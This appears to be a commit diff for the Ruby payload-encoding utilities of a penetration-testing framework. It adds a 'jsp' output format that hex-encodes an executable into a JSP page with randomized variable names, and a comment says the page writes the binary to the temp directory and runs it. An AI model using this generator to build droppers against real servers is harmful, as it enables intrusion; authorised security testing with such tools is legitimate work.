@@ -1407,6 +1407,40 @@ def self.to_powershell_hta(framework, arch, code)
1407
1407
read_replace_script_template ( "to_powershell.hta.template" , hash_sub )
1408
1408
end
1409
1409
1410
+ def self . to_jsp ( exe )
1411
+ hash_sub = { }
1412
+ hash_sub [ :var_payload ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1413
+ hash_sub [ :var_exepath ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1414
+ hash_sub [ :var_outputstream ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1415
+ hash_sub [ :var_payloadlength ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1416
+ hash_sub [ :var_bytes ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1417
+ hash_sub [ :var_counter ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1418
+ hash_sub [ :var_exe ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1419
+ hash_sub [ :var_proc ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1420
+ hash_sub [ :var_fperm ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1421
+ hash_sub [ :var_fdel ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1422
+ hash_sub [ :var_exepatharray ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1423
+
1424
+ payload_hex = exe . unpack ( 'H*' ) [ 0 ]
1425
+ hash_sub [ :payload ] = payload_hex
1426
+
1427
+ read_replace_script_template ( "to_exe.jsp.template" , hash_sub )
1428
+ end
1429
+
1430
+ # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
1431
+ # payload. The jsp page converts the hexdump back to a normal binary file
1432
+ # and places it in the temp directory. The payload file is then executed.
1433
+ #
1434
+ # @see to_war
1435
+ # @param exe [String] Executable to drop and run.
1436
+ # @param opts (see to_war)
1437
+ # @option opts (see to_war)
1438
+ # @return (see to_war)
1439
+ def self . to_jsp_war ( exe , opts = { } )
1440
+ template = self . to_jsp ( exe )
1441
+ self . to_war ( template , opts )
1442
+ end
1443
+
1410
1444
def self . to_win32pe_vbs ( framework , code , opts = { } )
1411
1445
to_exe_vbs ( to_win32pe ( framework , code , opts ) , opts )
1412
1446
end
@@ -1500,52 +1534,6 @@ def self.to_war(jsp_raw, opts = {})
1500
1534
zip . pack
1501
1535
end
1502
1536
1503
- # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
1504
- # payload. The jsp page converts the hexdump back to a normal binary file
1505
- # and places it in the temp directory. The payload file is then executed.
1506
- #
1507
- # @see to_war
1508
- # @param exe [String] Executable to drop and run.
1509
- # @param opts (see to_war)
1510
- # @option opts (see to_war)
1511
- # @return (see to_war)
1512
- def self . to_jsp_war ( exe , opts = { } )
1513
- # begin <payload>.jsp
1514
- hash_sub = { }
1515
- hash_sub [ :var_hexpath ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1516
- hash_sub [ :var_exepath ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1517
- hash_sub [ :var_data ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1518
- hash_sub [ :var_inputstream ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1519
- hash_sub [ :var_outputstream ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1520
- hash_sub [ :var_numbytes ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1521
- hash_sub [ :var_bytearray ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1522
- hash_sub [ :var_bytes ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1523
- hash_sub [ :var_counter ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1524
- hash_sub [ :var_char1 ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1525
- hash_sub [ :var_char2 ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1526
- hash_sub [ :var_comb ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1527
- hash_sub [ :var_exe ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1528
- hash_sub [ :var_hexfile ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1529
- hash_sub [ :var_proc ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1530
- hash_sub [ :var_fperm ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1531
- hash_sub [ :var_fdel ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1532
- hash_sub [ :var_exepatharray ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1533
-
1534
- # Specify the payload in hex as an extra file..
1535
- payload_hex = exe . unpack ( 'H*' ) [ 0 ]
1536
- opts . merge! (
1537
- {
1538
- :extra_files =>
1539
- [
1540
- [ "#{ hash_sub [ :var_hexfile ] } .txt" , payload_hex ]
1541
- ]
1542
- } )
1543
-
1544
- template = read_replace_script_template ( "to_exe_jsp.war.template" , hash_sub )
1545
-
1546
- self . to_war ( template , opts )
1547
- end
1548
-
1549
1537
# Creates a .NET DLL which loads data into memory
1550
1538
# at a specified location with read/execute permissions
1551
1539
# - the data will be loaded at: base+0x2065
@@ -2221,6 +2209,12 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
2221
2209
when 'loop-vbs'
2222
2210
exe = exe = to_executable_fmt ( framework , arch , plat , code , 'exe-small' , exeopts )
2223
2211
Msf ::Util ::EXE . to_exe_vbs ( exe , exeopts . merge ( { :persist => true } ) )
2212
+ when 'jsp'
2213
+ arch ||= [ ARCH_X86 ]
2214
+ tmp_plat = plat . platforms if plat
2215
+ tmp_plat ||= Msf ::Module ::PlatformList . transform ( 'win' )
2216
+ exe = Msf ::Util ::EXE . to_executable ( framework , arch , tmp_plat , code , exeopts )
2217
+ Msf ::Util ::EXE . to_jsp ( exe )
2224
2218
when 'war'
2225
2219
arch ||= [ ARCH_X86 ]
2226
2220
tmp_plat = plat . platforms if plat
@@ -2258,6 +2252,7 @@ def self.to_executable_fmt_formats
2258
2252
"exe-small" ,
2259
2253
"hta-psh" ,
2260
2254
"jar" ,
2255
+ "jsp" ,
2261
2256
"loop-vbs" ,
2262
2257
"macho" ,
2263
2258
"msi" ,
0 commit comments